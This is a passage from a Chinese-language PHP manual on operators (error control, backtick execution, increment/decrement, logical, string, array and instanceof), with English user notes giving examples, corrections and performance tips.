It should be noted that suppressed error reporting is inherited, so to speak.

Consider this function:
function warning() {
   $return = 10 / 0;
   return $return;
}

This line will produce a warning;
var_dump(warning());

While these will not:
var_dump(@warning());
@var_dump(warning());

This might not be so obvious for some people; I know I didn't expect this behaviour.
20-Oct-2002 02:00
To suppress errors for a method inside a class, place the @ operator before the object and not before the method name.

// DO:
@$this->foo($bar);

// DON'T:
$this->@foo($bar);
drm at gerard dot yoursite dot nl
21-Aug-2002 06:50
When you check if an index of an array is set, you imply that the array itself already exists.

So
if ( isset ( $array [ 'index' ] ) ) {
}

would generate a notice if $array is not defined, but not if $array _is_ defined, but the index 'index' not.

And so on for nested arrays ofcourse
webmaster at speedy dot co dot il
07-Jul-2002 08:31
I don't know if this is a feature or bug, but this doesn't work:

if (!(isset(@$GLOBALS['SPEEDY_GLOBAL_VARS']['PAGE_NAME'])))

On the other hand, this works:

if (!(@isset($GLOBALS['SPEEDY_GLOBAL_VARS']['PAGE_NAME'])))

Regards,
Uri.
add a note add a note

后退 | 起点 | 前进
比较运算符 | 上一级 | 执行运算符


执行运算符

PHP 支持一个执行运算符：反引号（``）。注意这不是单引号！PHP 将尝试将反引号中的内容作为外壳命令来执行，并将其输出信息返回（例如，可以赋给一个变量而不是简单地丢弃到标准输出）。使用反引号运算符“`”的效果与函数 shell_exec() 相同。

<?php
$output = `ls -al`;
echo "<pre>$output</pre>";
?>

注: 反引号运算符在激活了安全模式或者关闭了 shell_exec() 时是无效的。

参见函数 popen()、proc_open() 及手册中程序执行函数和 PHP 的命令行模式的有关章节。

add a note add a note User Contributed Notes
robert
02-Mar-2006 03:25
Just a general usage note.  I had a very difficult time solving a problem with my script, when I accidentally put one of these backticks at the beginning of a line, like so:

[lots of code]
`    $URL = "blah...";
[more code]

Since the backtick is right above the tab key, I probably just fat-fingered it while indenting the code.

What made this so hard to find, was that PHP reported a parse error about 50 or so lines *below* the line containing the backtick.  (There were no other backticks anywhere in my code.)  And the error message was rather cryptic:

Parse error: parse error, expecting `T_STRING' or `T_VARIABLE' or `T_NUM_STRING' in /blah.php on line 446

Just something to file away in case you're pulling your hair out trying to find an error that "isn't there."
cs at kainaw dot com
30-Dec-2005 06:55
After much trouble, I have concluded that the backtick operator (and shell_exec) have a limited buffer for the return.  My problem was that I was grepping a file with over 500,000 lines, receiving a response with well over 100,000 lines.  After a short pause, I was flooded with errors from grep about the pipe being closed.

I have searched, but I cannot find the exact size of the buffer used by the backtick operator and shell_exec.  So, to avoid this error, you must limit the output of your commands (such as using -m with grep).  Through trial and error, you can get the command to run without error.
shakil dot tanvir at gmail dot com
22-Dec-2005 09:25
For passing parameter to a executable doesn't need an executable. Also it may create problem specifically for CGI Bin aplicatioin. Have a look at the following code:

<?php

$parFile="param.txt";
$parImage="mohona.gif";

$output=`C:\ms4w\Apache\cgi-bin\owtchart.exe $parFile $parImage`;
echo "<pre>$output</pre>";

?>

In the above code "owtchart.exe" takes two parameters. One is a text file(param.txt) and another is a name of a GIF file where output will be created. It works fine and doesn't need any BAT file!
vdboor at codingdomain dot com
23-Nov-2005 04:10
Note that most OS-es define two channels for file-output, the stdout and stderr (standard out and standard error). To read the data sent to stderr too, include 2>&1 in the backticks.
aaron dot bentley at utoronto dot ca
21-Jul-2003 07:45
waylanator's example can be dangerous, since it doesn't prevent characters with special meaning from being emitted to the commandline.  Programming errors or untrusted data could cause serious problems.  At the bare minimum, remove all non-alphanumeric characters before passing a string to the shell.  escapeshellarg() is also useful in *nix environments, but usually the best approach is to bypass the shell, using exec() etc.
thierry_bo at php dot net
24-May-2003 01:45
About the french page and french keyboards : backtick is on the 7 key (7  `), not the english pound key ( $ ).
dexter at ragehosting dot net
28-Mar-2003 03:18
Or just %* (i think) to pass ALL variables specified
waylanator no at spam hotmail dot com
15-Feb-2003 04:03
Want to pass a parameter with your batch file to the executable?
Just do this:

mybat.bat:
__________
@echo off
c:\progra~1\myprog~1\program.exe %1
__________

php:
__________
<?php
$par= "my_parameter";
$test=`c:\mybat.bat $par`;
echo "<pre>$test</pre>";
?>
__________

Have more than 1 parameter?  Just add %2 %3 %4 and so on in the batch file.

Hope this helps someone.
waylanator no at spam hotmail dot com
15-Feb-2003 01:12
In Windows it appears you can only call an executable file that resides in the system path which is defined by Windows.  As a workaround you can place a batch file in the system path that calls the program from it's dir. Just make sure to use short MS-DOS file and dir names.
For example:
If you were calling the file c:\program files\my program\program.exe do this:

mybat.bat look like this:
_________
@echo off
c:\progra~1\myprog~1\program.exe
_________

Save mybat.bat in c:\ or c:\windows or any other dir in the system path as defined by windows.

Then in php call the batch file:
_________
<?php
$test = `c:\mybat.bat`;
echo "<pre>$test</pre>";
?>
_________

That should do it.
Of course this will only work for a program you can run from the MS-DOS command prompt, but (as I understant it) that goes for any executable you call with PHP anyway.
Tested in Win98 running Apache 1.3.27 and PHP 4.3.0
bunny at bytech dot fi
03-May-2002 04:32
ignore_user_abort(true);
might prevent the situation described above from taking place.
reed-NO at SPAM-zerohour dot net
13-Mar-2002 04:45
When a program is run using backticks, and the user cancels page loading (if your program is taking too long!), the shell running the program (the one in the backticks) may continue indefinitely on the server. I do not know if this is a bug, or just a danger of using this feature.  (It may depend on the way the browser "cancels" the request -- it was a problem on both IE and OmniWeb for the Mac).  Beware!
add a note add a note

后退 | 起点 | 前进
错误控制运算符 | 上一级 | 递增／递减运算符


递增／递减运算符

PHP 支持 C 风格的前／后递增与递减运算符。

注: 递增／递减运算符不影响布尔值。递减 NULL 值也没有效果，但是递增 NULL 的结果是 1。

表格 15-6. 递增／递减运算符

例子 | 名称 | 效果
++$a | 前加 | $a 的值加一，然后返回 $a。
$a++ | 后加 | 返回 $a，然后将 $a 的值加一。
--$a | 前减 | $a 的值减一， 然后返回 $a。
$a-- | 后减 | 返回 $a，然后将 $a 的值减一。

一个简单的示例脚本：

<?php
echo "<h3>Postincrement</h3>";
$a = 5;
echo "Should be 5: " . $a++ . "<br />\n";
echo "Should be 6: " . $a . "<br />\n";

echo "<h3>Preincrement</h3>";
$a = 5;
echo "Should be 6: " . ++$a . "<br />\n";
echo "Should be 6: " . $a . "<br />\n";

echo "<h3>Postdecrement</h3>";
$a = 5;
echo "Should be 5: " . $a-- . "<br />\n";
echo "Should be 4: " . $a . "<br />\n";

echo "<h3>Predecrement</h3>";
$a = 5;
echo "Should be 4: " . --$a . "<br />\n";
echo "Should be 4: " . $a . "<br />\n";
?>

在处理字符变量的算数运算时，PHP 沿袭了 Perl 的习惯，而非 C 的。例如，在 Perl 中 'Z'+1 将得到 'AA'，而在 C 中，'Z'+1 将得到 '['（ord('Z') == 90，ord('[') == 91）。注意字符变量只能递增，不能递减。

例子 15-4. 涉及字符变量的算数运算

<?php
$i = 'W';
for ($n=0; $n<6; $n++) {
    echo ++$i . "\n";
}
?>

上例将输出：

X
Y
Z
AA
AB
AC

递增或递减布尔值没有效果。

add a note add a note User Contributed Notes
julien-bernie-laurent at polenord.com
01-Mar-2006 11:55
to thus trying to increment a string and are blocked by the exponential typecast explained in the message below, here is a small function :

function increment($var) {
   $var2 = '_'.$var;
   return substr(++$var2,1);
}
timo at frenay dot net
25-Aug-2004 11:45
JMcCarthy AT CitiStreet DOT com:

As for your March 31 post, at least in PHP version 4.3 this no longer holds for 'D'. Your point is still valid for 'e' or 'E' and worth noting.

Your comment from May 12 is simply not true, although it might be a bug in your specific version of PHP but that would seem very strange.

<?php
   $Align = array('a', 'b', 'c');
   $i = 0;
   echo $Align[$i++]; // Prints 'a', as expected
?>

It might be interesting to know that pre-/postincrement assumes a value of 0 for undefined variables, but pre-/postdecrement does not:

<?php
   echo var_dump(++$foo); // int(1)
   echo var_dump(--$bar); // NULL!
?>
01-Apr-2004 05:19
Note that incrementing strings can give unpredictable results due to type changes.  For example:

<?php

$i = '9C6';
for($n=0; $n<10; $n++)
  echo ++$i . "\n";

?>

Gives you:
 9C7
 9C8
 9C9
 9D0
 10
 11
 12
..etc.

The 'D' (and also 'E') characters are interpreted here as exponents of 10 (i.e., scientific notation) formatted numbers.  Using '9D6' will give 9000001, 9000002, etc.

You might want to use all alphabetical or all numerical, but not mix the two otherwise you may not get what you expect..
chris at free-source dot com
07-Feb-2004 08:11
Interesting performance note:

$i++ seems to be slightly slower than ++$i, when used on a line by itself the 2 have the same purpose.  It's not much, but over 100,000 incements the pre-increment is about .004 seconds faster on average.
mu at despammed dot net
15-Oct-2002 12:11
The exact moment when post-increment and post-decrement happen is _just immediately after the variable is evaluated_ (not "after the line is processed" or something like that)

Example 1:
$i = 2;
echo $i++ + $i;
Result: 5. The first i is evaluated as 2, gets incremented to 3. i is then evaluated as 3 for the second occurance.

Example 2:
$i = 2;
echo $i + $i++;
Result: 4. The first i is 2. Second i is 2 too, gets incremented afterwards.
cleong at letstalk dot com
18-Oct-2001 10:52
Note that the ++ and -- don't convert a boolean to an int. The following code will loop forever.

function a($start_index) {
for($i = $start_index; $i < 10; $i++) echo "\$i = $i\n";
}

a(false);

This behavior is, of course, very different from that in C. Had me pulling out my hair for a while.
fred at surleau dot com
19-Jul-2001 03:02
Other samples :
$l="A";      $l++; -> $l="B"
$l="A0";    $l++; -> $l="A1"
$l="A9";    $l++; -> $l="B0"
$l="Z99";    $l++; -> $l="AA00"
$l="5Z9";    $l++; -> $l="6A0"
$l="9Z9";    $l++; -> $l="10A0"
$l="9z9";    $l++; -> $l="10a0"
$l="J85410"; $l++; -> $l="J85411"
$l="J99999"; $l++; -> $l="K00000"
$l="K00000"; $l++; -> $l="K00001"
add a note add a note

后退 | 起点 | 前进
执行运算符 | 上一级 | 逻辑运算符


逻辑运算符

表格 15-7. 逻辑运算符

例子 | 名称 | 结果
$a and $b | And（逻辑与） | TRUE，如果 $a 与 $b 都为 TRUE。
$a or $b | Or（逻辑或） | TRUE，如果 $a 或 $b 任一为 TRUE。
$a xor $b | Xor（逻辑异或） | TRUE，如果 $a 或 $b 任一为 TRUE，但不同时是。
! $a | Not（逻辑非） | TRUE，如果 $a 不为 TRUE。
$a && $b | And（逻辑与） | TRUE，如果 $a 与 $b 都为 TRUE。
$a || $b | Or（逻辑或） | TRUE，如果 $a 或 $b 任一为 TRUE。

“与”和“或”有两种不同形式运算符的原因是它们运算的优先级不同（见运算符优先级）。

add a note add a note User Contributed Notes
jhooks
12-Apr-2006 06:55
>> I have read a few of these responses and quite honestly didn't find one that explained the differences between the "||" and "OR" operators.

The difference is explained in the link to on operator precedence.

The '||' operators are evaluated before assignment ('='), whereas the 'or' operators are evaluated after the assignment.  In your second example you are telling PHP to first assign the result of '(choice1 != false ? 'hah' : 'boo')' to $val, then 'or' it against the rest of the statement.  Try the example below and you will see what I mean (note the extra brackets to enforce precedence):

<?php
 define ('choice1', false);
 define ('choice2', "dog");
 define ('default1', "other");
 $val = array();

 $val["Test 1"] = (choice1 != false ? 'hah' : 'boo') || (choice2 != false ? 'hah2' : 'boo2') || (default1 != false ? 'hah3' : 'boo3');
 $val["Test 1b"] = ((choice1 != false ? 'hah' : 'boo') || (choice2 != false ? 'hah2' : 'boo2') || (default1 != false ? 'hah3' : 'boo3'));
 $val["Test 2"] = (choice1 != false ? 'hah' : 'boo') or (choice2 != false ? 'hah2' : 'boo2') or (default1 != false ? 'hah3' : 'boo3');
 $val["Test 2b"] = ((choice1 != false ? 'hah' : 'boo') or (choice2 != false ? 'hah2' : 'boo2') or (default1 != false ? 'hah3' : 'boo3'));

 foreach ( $val as $test => $result ) {
  print ( "$test : " ); var_dump ( $result ); print "<br />\n<br />\n";
 }
?>
test at hto dot com
11-Sep-2005 08:04
Because the OR shorthand for an if block can produce more
readable code with less typing, it is tempting to produce functions that will return FALSE on failure or some other data type on success. Like mysql_connect, which "Returns a MySQL link identifier on success, or FALSE on failure."

The novice php php developer should avoid creating functions which might produce a FALSE on failure and an integer on success, if there is any chance that the integer might be zero.

<?php
blah blah blah;
$i = give_me_liberty() or die("FATAL DB ERROR!");
blah blah blah;
?>
ironmo67 at yahoo dot com
21-Jun-2005 03:12
Discovered a somewhat annoying different between PHP and Perl:

<?php
  function some_function(){ return false; }
  if ( ! some_function() ) return false;
?>

cannot be rewritten as the prettier:

<?php
  function some_function(){ return false; }
  some_function() or return false;
?>

The following will work however:

<?php
  function some_function(){ return false; }
  some_function() or die();
?>

Can you guess why? Simply, die() is a function and 'return' is a statement (like the difference between print() and echo, sort of).  This is really to bad because I find the if(!){} version tired and unreadable, but hey, it's better than if ( some_c_function == 0) { do something }.
04-Apr-2004 12:20
A lot of the discussion below could have been avoided simply by being clear that &, | and ^ are *not* logical operators. That's why they're not listed on this page. They're operators that act on the binary representations of numbers. They do not take logical values (i.e., "true" or "false") as arguments without first converting them to the numbers 1 and 0 respectively. Nor do they return logical values, but numbers. Sure, you can later treat those numbers as though they were logical values (in which case 0 is cast to "false" and anything else is cast to "true"), but that's a consequence of PHP's type casting rules, and nothing to do with the behaviour of the operators.

If you want logical operations, use logical operators; if you want bitwise operations, use bitwise operators ... using one for the other seems like a good way to make things difficult.
kws_ at hotpop dot com
07-Feb-2004 09:32
"Just Because You Can, Doesn't Mean You Should."

I also feel that circumventing short-circuit evaluation and relying on side-effects in conditional expressions is exercising bad style. Writing code that documents itself using clear and straightforward constructs strikes me as a much better practice than using a convoluted and difficult-to-read expression and explaining it with comments (or worse yet, not documenting it at all!) Indeed, source code should be written for the programmer's eyes more so than the computer's.

Utilizing the bitwise operators in a logical context could violates the expectations of the reader and may create confusion because bitwise operators imply bit-field operands.

I also feel that assuming that short-circuit evaluation is best for logical constructs IS within the compiler's "rights", since when logical operators are used for their intended purpose, the assumptions that short-circuiting makes *ARE* logical, and do (once again, when used correctly) optimize evaluation of logical expressions.

It is not my intention to directly flame or insult any individual, but only to discourage the use of poor style and to encourage new (and even some experienced) programmers to write clear and verbose code, and to think about the programmers, rather than the computers that might end up trying to decipher your creations.
29-Jun-2003 11:12
in answer to braintreno:

The second example you brought is the correct way to do it! It is not convoluted logic at all, it is what makes your code readable by not relying on obscure side effects!! It is much easier to read than the first one and it is by far easier to maintain.

For the idea to let a CheckThisOrOther() funtion echo information to the user alone, you should be stripped of your coding licence. If i ever had to maintain on of your scripts, I'd have to hate you.

This is not meant as flame bating as it might sound! Source code is not written for computers to execute, but for coders to read! Keep that at heart and your co-workers will thank you for it!
braintrino
14-Jun-2003 02:59
shadedecho's post to force evaluation of both OR expression is actually exactly what should be done to suppress short-circuit optimization.

There are many occasions that you don't want the compiler to short-circuit any evaluation, especially when you want to do an and/or situation.  The short-circuit evaluation does an OR operation but not an AND/OR operation!!!

For instance, if I want the check the user's query form to see if the user has missed answering any entry AND/OR if the user had duplicated the same answer for more than one entry, then I need to send the form back to the client informing what I want to be corrected.

function SomeAnswersAreMissing()
{
   ...
   echo "Oops! You missed answering some questions.";
  return TRUE;
}

function SomeAnswersAreDuplicated()
{
   ...
   echo "Oops! You can answer both the same way.";
  return TRUE;
}

if (SomeAnswersAreMissing() || SomeAnswersAreDuplicated())
   SendFormAgain();

If I do that, the user will only see the missing answer warning but not the duplicated answer warning, even if both are true.  This is not informative to the user because he/she will have to re-submit the form twice before he/she realized everything he/she did wrong, and frustrate the hack out of them.  That is not user-friendly.

But if I use:

if (SomeAnswersAreMissing() | SomeAnswersAreDuplicated())
   SendFormAgain();

Then both warning messages are sent at the same time, and the user can correct it in one re-send.

Thank shadedecho, I had been looking for a way to override the compiler's stupid short-circuit optimization.  The computer cannot just assume that short-circuiting is the best :(

BTW, of course you can do:

$you_made_a_mistake = false;

if (SomeAnswersAreMissing())
   $you_made_a_mistake = true;
if (SomeAnswersAreDuplicated())
   $you_made_a_mistake = true;

if ($you_made_a_mistake)
   SendFormAgain();

But that is convoluted logic!!!
hop
24-May-2003 07:53
Dear Newbie,

(as i don't see such ideas creeping up in experienced programmers' minds...)

please don't pay attantion to shadedecho's post from 14-Mar-2003 04:02! He is heavily relying on obscure side effects, which is not only very bad programming practice, but also does not achieve the optimization he thinks it is.

The proper way to make this

if ( ($a .= blah()) || ($a .= blah2()) ) {
   echo $a;
}

work like shadedecho wants is (although the example as a whole is rather inapt):

$a .= blah();
$a .= blah2();

if ($a) { echo $a; }

If you read the discussion he links to you will find that he really wanted to get all distinct entries from two different db tables. Even there he is mistaken. The proper way to do this is to process the first table and then process the second table.
This is not only far more readable than the workaround with '|', it is also not the least slower.

Thanks.
shadedecho
15-Mar-2003 07:02
It appears (after much frustrating but ultimately helpful searching and discussion on forums like tek-tips) that the
|| and the && are "short-circuited" as has been previously noted BUT the | and & operators (documented by PHP as bitwise operators) behave as their non-short-circuited counter-parts, respectively.

ex:

function blah() {
  echo "hello< br>";
  return "from blah()< br>";
}

function blah2() {
  echo "world\< br>";
  return "from blah2()< br>";
}

$a = "";

if ( ($a .= blah()) || ($a .= blah2()) ) {
  echo $a;
}

This would result in the following output:

hello
from blah()

Notice the "world" didn't get echo'd and the "from blah2()" didn't get concat'd into the $a variable, because the first assigment to $a was successful, so the "short-circuting" kicks in and the boolean test terminates without evaluating the rest of it.

HOWEVER, if you replace || with just | in that "if" statement, you get the output:

hello
world
from blah()
from blah2()

Eureka! all parts of the boolean test are evaluated, in expected left-to-right fashion, and following all the normal precendence rules, so far as I can see.

This makes total sense...  Using the bitwise operators, what is occurring is the bitwise-level operation on the result of two non-bitwise operations (the assignments). If a non-bitwise operation returns null (in other words, the value being assigned turns out to be null or 0), the bitwise operator would bind to that (or more appropriately, would "see" it) as a "0", otherwise it would see a non-zero (string of bits with at least one "1" in it).

Then a bitwise | is done on the two values, and if either is non-zero (has "1" bits in it) then the result will have those "1" bits in it (non-zero), and the if statement will interpret any non-zero value as true in a boolean test.  Likewise, if both operands to the | were null or 0, then the result would be a zero value, which "if" would interpret as false.

The if statement above is doing a bitwise | on (in this case) two non-zero values (with "1"s in it at the bit level), so the | operation returns a non-zero value which is then reinterpreted by the if statement as TRUE!

So, in this special case where you are trying to string together non-short-circuited boolean tests, these operators work on their operands at the bitwise level, and since they are not comparison operators but mathematical operators, they can't be short-circuited, and the resulting behavior is a non-short-circuited "boolean test".

I know, you must think I am crazy for trying to get around a built-in optimization like this, but I assure you there is a very good reason for it, and if you are interested, you can check out this thread as I have a very long post in there which explains what I was trying to do:

It is the 9th post down, where you will find my description of my database query'ing which i was wanting to optimize.

http://www.tek-tips.com/gviewthread.cfm/lev2 /4/lev3/31/pid/434/qid/500825
(note i had to split that URL for the post, but it should be all together on one line obviously)
02-Mar-2002 02:11
The post of 14-Oct-1999 04:09 about operator precedence is incorrect.
When I run the second example

$choice1 = "";
$choice2 = "dog";
$default = "other";
$val = $choice1 or $choice2 or $default;

Then $val is "", since the expression is equivilent to
($val = $choice1) or $choice2 or $default;

To get $val to be "dog" use:
$val=$choice1 or $val=$choice2 or $val=$default;

which is equivilent to
($val=$choice1) or ($val=$choice2) or ($val=$default);
jesse at bend dot (spam dot me dot not dot )com
05-Oct-2001 07:30
For those who might not pay close attention to matters of Operator Precedence, the manual is not kidding when it says that "AND" and "&&" have different precedence. In particular these two forms of logical operators straddle the assignment operator (=) in precedence!

For instance,
$a = $b && $c;

is not the same as
$a = $b AND $c;

The difference is that "AND" has lower precedence than the equals sign. To whit, the last expression more closely resembles:
($a = $b) && $c

which probably isn't what you want.

This may be of aid to those who like their code to read like english, and might think that the precedence differences of these operators are relatively exotic: they aren't.

As for me I ran into this problem because there is no symbolic logical XOR (for instance, no ^^) so I had to use XOR, and then figured that in similar places I'd ought to use AND and OR, and then my code broke :)

So now I've got to
$a = ($b xor $c);

Happy Trails

- - Jesse Thompson
bend.com
yohgaki at hotmail dot com
14-Apr-2001 09:47
In PHP4, "and", "or", "&&", "||" -- all are "short circuit" like in C/C++. In PHP3, I think it was not.

"Short circuit" means language stops evaluation of expression when conditions are determined. (Most language uses short circuit evaluation for logical condition)

For example,

$a = true;
$b = false;
if ( $a || $b ) {
}

This "if" statement only evaluate $a, since $a is true and whole condition must be true. (i.e. if $b is a function instead of value, the function will not be called)
muerte at web-ster dot com
22-Jan-2001 09:41
I was hoping to find an operator similar to ||= functions in perl.  My first thought would be:

$i = $i or "default"

But or doesn't work like that.  If you want to assign a default value to your variables only if they're not already assigned you CAN however do:

$i or $i = "default"

The first example does NOT work because the or operator is not overloadable like it is in Perl.
dante at hearme dot com
14-Oct-1999 07:09
[Ed Note:  The reason for this is because || has a higher precedence than =, and = has a higher precedence than 'or'.  See  http://www.php.net/manual/en/language.operators.precedence.php
--irc-html@php.net]
I wanted to do something like this:

$choice1 = "";
$choice2 = "dog";
$default = "other";
$val = $choice1 || $choice2 || $default;

but then $val1 will only contain 1 or 0.  Instead I did this:

$choice1 = "";
$choice2 = "dog";
$default = "other";
$val = $choice1 or $choice2 or $default;

now $val contained the string "dog".  That's
weird that 'or' is different from '||'...and I would
think that the '||' should be smart enough to handle
strings...the way PERL does.  Guess not.  Maybe it's
a design choice.
dtaylor at sclug dot remove_this dot usc dot edu
31-Jul-1999 05:26
and, or, &&, || -- all are "short circuit" like in C++
add a note add a note

后退 | 起点 | 前进
递增／递减运算符 | 上一级 | 字符串运算符


字符串运算符

有两个字符串运算符。第一个是连接运算符（“.”），它返回其左右参数连接后的字符串。第二个是连接赋值运算符（“.=”），它将右边参数附加到左边的参数后。更多信息见赋值运算符。

<?php
$a = "Hello ";
$b = $a . "World!"; // now $b contains "Hello World!"

$a = "Hello ";
$a .= "World!";     // now $a contains "Hello World!"
?>

参见字符串类型和字符串函数章节。

add a note add a note User Contributed Notes
caliban at darklock dot com
30-Mar-2006 03:10
WRT Stephen's note:

My example of concatenation and array methods of string building does not include the interstitial logic, which is expected to include conditionals.

Concatenation method:

$str="This is my list";
if($list=="o") $str.="<ol>";
else $str.="<ul>";
foreach($item as $i) $str.="<li>$i</li>";
if($list=="o") $str.="</ol>";
else $str.="</ul>";

Array method:

$str=array("This is my list");
if($list=="o") $str[]="<ol>";
else $str[]="<ul>";
foreach($item as $i) $str[]="<li>$i</li>";
if($list=="o") $str[]="</ol>";
else $str[]="</ul>";
$str=implode("",$str);

You can't do either of these with a single double-quoted string. However, if what you are doing CAN be done in a single double-quoted string, Stephen is completely correct in observing that you should do that instead of concatenating.
Stephen Clay
23-Dec-2005 11:10
<?php
"{$str1}{$str2}{$str3}"; // one concat = fast
  $str1. $str2. $str3;  // two concats = slow
?>
Use double quotes to concat more than two strings instead of multiple '.' operators.  PHP is forced to re-concatenate with every '.' operator.
caliban at darklock dot com
15-Dec-2004 11:57
String concatenation is faster than the array method:

$str="";
$str.="Some string";
$str.="Some other string";
...
$str.="The last string";

That runs roughly twice as fast as:

$str=array();
$str[]="Some string";
$str[]="Some other string";
...
$str[]="The last string";
$str=implode("",$str);

Not that I think this is a terribly widespread practice, but I've got an awful lot of legacy code with this array method in it and a comment to the effect that it's faster than string concatenation. Testing has shown the exact opposite, so I figured I'd enlighten anyone else with this misconception.
anders dot benke at telia dot com
28-Apr-2004 12:53
A word of caution - the dot operator has the same precedence as + and -, which can yield unexpected results.

Example:

<php
$var = 3;

echo "Result: " . $var + 3;
?>

The above will print out "3" instead of "Result: 6", since first the string "Result3" is created and this is then added to 3 yielding 3, non-empty non-numeric strings being converted to 0.

To print "Result: 6", use parantheses to alter precedence:

<php
$var = 3;

echo "Result: " . ($var + 3);
?>
php dot net at rinner dot at
20-Feb-2001 09:00
Also see http://www.php.net/manual/en/language.types.string.php for usage of  here doc syntax ("<<<")
add a note add a note

后退 | 起点 | 前进
逻辑运算符 | 上一级 | 数组运算符


数组运算符

表格 15-8. 数组运算符

例子 | 名称 | 结果
$a + $b | 联合 | $a 和 $b 的联合。
$a == $b | 相等 | 如果 $a 和 $b 具有相同的键／值对则为 TRUE。
$a === $b | 全等 | 如果 $a 和 $b 具有相同的键／值对并且顺序和类型都相同则为 TRUE。
$a != $b | 不等 | 如果 $a 不等于 $b 则为 TRUE。
$a <> $b | 不等 | 如果 $a 不等于 $b 则为 TRUE。
$a !== $b | 不全等 | 如果 $a 不全等于 $b 则为 TRUE。

+ 运算符把右边的数组附加到左边的数组后面，但是重复的键值不会被覆盖。

<?php
$a = array("a" => "apple", "b" => "banana");
$b = array("a" => "pear", "b" => "strawberry", "c" => "cherry");

$c = $a + $b; // Union of $a and $b
echo "Union of \$a and \$b: \n";
var_dump($c);

$c = $b + $a; // Union of $b and $a
echo "Union of \$b and \$a: \n";
var_dump($c);
?>

执行后，此脚本会显示：
Union of $a and $b:
array(3) {
  ["a"]=>
  string(5) "apple"
  ["b"]=>
  string(6) "banana"
  ["c"]=>
  string(6) "cherry"
}
Union of $b and $a:
array(3) {
  ["a"]=>
  string(4) "pear"
  ["b"]=>
  string(10) "strawberry"
  ["c"]=>
  string(6) "cherry"
}

数组中的单元如果具有相同的键名和值则比较时相等。

例子 15-5. 比较数组

<?php
$a = array("apple", "banana");
$b = array(1 => "banana", "0" => "apple");

var_dump($a == $b); // bool(true)
var_dump($a === $b); // bool(false)
?>

参见数组类型和数组函数章节。

add a note add a note User Contributed Notes
puneet singh @ value-one dot com
19-Jan-2006 02:42
hi  just see one more example of union....

<?php
$a = array(1,2,3);
$b = array(1,7,8,9,10);
$c = $a + $b; // Union of $a and $b
echo "Union of \$a and \$b: \n";
//echo $c
print_r($c);
?>
//output
Union of $a and $b: Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 9 [4] => 10 )
kit dot lester at lycos dot co dot uk
22-Aug-2005 12:01
When comparing arrays that have (some or all) element-values that are themselves array, then in PHP5 it seems that == and === are applied recursively - that is
 * two arrays satisfy == if they have the same keys, and the values at each key satisfy == for whatever they happen to be (which might be arrays);
 * two arrays satisfy === if they have the same keys, and the values at each key satisfy === for whatever (etc.).

Which explains what happens if we compare two arrays of arrays of arrays of...

Likewise, the corresponding inversions for != <> and !==.

I've tested this to array-of-array-of-array, which seems fairly convincing. I've not tried it in PHP4 or earlier.
kit dot lester at lycos dot co dot uk
21-Aug-2005 11:44
This manual page doesn't mention < & co for arrays, but example 15-2 in
   http://www.php.net/manual/en/language.operators.comparison.php
goes to some lengths to explain how they work.
Peter
29-Oct-2004 10:57
The code from texbungalow at web dot de below is slightly incorrect.  If my memory from primary school history is correct, roman numerals don't allow things like MIM - it has to be MCMXCIX, ie each step is only 1 level down (sorry, I can't explain it very well.

a print_r($segments) comparing the snippets should explain.

Corrected code:
<?php
function roman ($nr ) {
     $base_digits= array (
           1=> "I",
           10=> "X",
           100=> "C",
           1000=> "M",
           );
     $help_digits= array (
           5=> "V",
           50=> "L",
           500=> "D",
           );
     $all_digits= $base_digits+ $help_digits;
     foreach ($base_digits as $key1=> $value1 )
           foreach ($all_digits as $key2=> $value2 )
                 if ($key1< $key2 && $key1 >= ($key2 / 10))
                       $segments[$key2- $key1 ]= $value1. $value2;
     $segments+= $all_digits;
     krsort ($segments );
     foreach ($segments as $key=> $value )
           while ($key<= $nr ) {
                 $nr-= $key;
                 $str.= $value;
                 }
     return $str;
     }
echo roman (1998);  //  prints MCMXCVIII
?>
dfranklin at fen dot com
23-Apr-2004 04:40
Note that + will not renumber numeric array keys.  If you have two numeric arrays, and their indices overlap, + will use the first array's values for each numeric key, adding the 2nd array's values only where the first doesn't already have a value for that index.  Example:

$a = array('red', 'orange');
$b = array('yellow', 'green', 'blue');
$both = $a + $b;
var_dump($both);

Produces the output:

array(3) { [0]=>  string(3) "red" [1]=>  string(6) "orange" [2]=>  string(4) "blue" }

To get a 5-element array, use array_merge.

   Dan
texbungalow at web dot de
27-Apr-2003 09:46
use '+=' to quickly append an array to another one:

function roman ($nr ) {
     $base_digits= array (
           1=> "I",
           10=> "X",
           100=> "C",
           1000=> "M",
           );
     $help_digits= array (
           5=> "V",
           50=> "L",
           500=> "D",
           );
     $all_digits= $base_digits+ $help_digits;
     foreach ($base_digits as $key1=> $value1 )
           foreach ($all_digits as $key2=> $value2 )
                 if ($key1< $key2 )
                       $segments[$key2- $key1 ]= $value1. $value2;
     $segments+= $all_digits;
     krsort ($segments );
     foreach ($segments as $key=> $value )
           while ($key<= $nr ) {
                 $nr-= $key;
                 $str.= $value;
                 }
     return $str;
     }

echo roman (888);  //  prints DCCCLXXXVIII
amirlaher AT yahoo DOT co SPOT uk
10-Dec-2002 02:41
[]= could be considered an Array Operator (in the same way that .= is a String Operator).
[]= pushes an element onto the end of an array, similar to array_push:
<?
  $array= array(0=>"Amir",1=>"needs");
  $array[]= "job";
  print_r($array);
?>
Prints: Array ( [0] => Amir [1] => needs [2] => job )
add a note add a note

后退 | 起点 | 前进
字符串运算符 | 上一级 | 类型运算符


类型运算符

PHP 有一个类型运算符：instanceof。instanceof 用来测定一个给定的对象是否来自指定的对象类。

instanceof 运算符是 PHP 5 引进的。在此之前用 is_a()，但是 is_a() 已经过时了，最好用 instanceof。

<?php
class A { }
class B { }

$thing = new A;

if ($thing instanceof A) {
    echo 'A';
}
if ($thing instanceof B) {
    echo 'B';
}
?>

由于 $thing 是类型 A 的一个 object，而不是 B 的，只有和类型 A 相符合的程序块被运行：

A

参见 get_class() 和 is_a()。

add a note add a note User Contributed Notes
MikeH
10-Mar-2006 07:14
This will fail:

<?
if ($moo instanceof "Moo") echo "Goo\n";
?>

and this will not:

<?
if ($moo instanceof Moo) echo "Goo\n";
?>

and although you cant use a quoted string as the class name to check, you can use a variable like this:

<?
$moo_class = "Moo";
if ($moo instanceof $moo_class) echo "Goo\n";
?>

so if you want to loop through an array of class names to check an object against, you can do it easily.
arnold at bean-it dot nl
25-Feb-2006 07:28
Note that operator 'instanceof' will trigger the autoloader.
If the class does not exists, it is not possible that the object  is an instance of this class (as shown by glen at arkadia-systems dot com). Loading this class will probably be a waste of excecution time, so use class_exists with $autoload set to false before using instanceof.

<?php
   function __autoload($classname)
   {
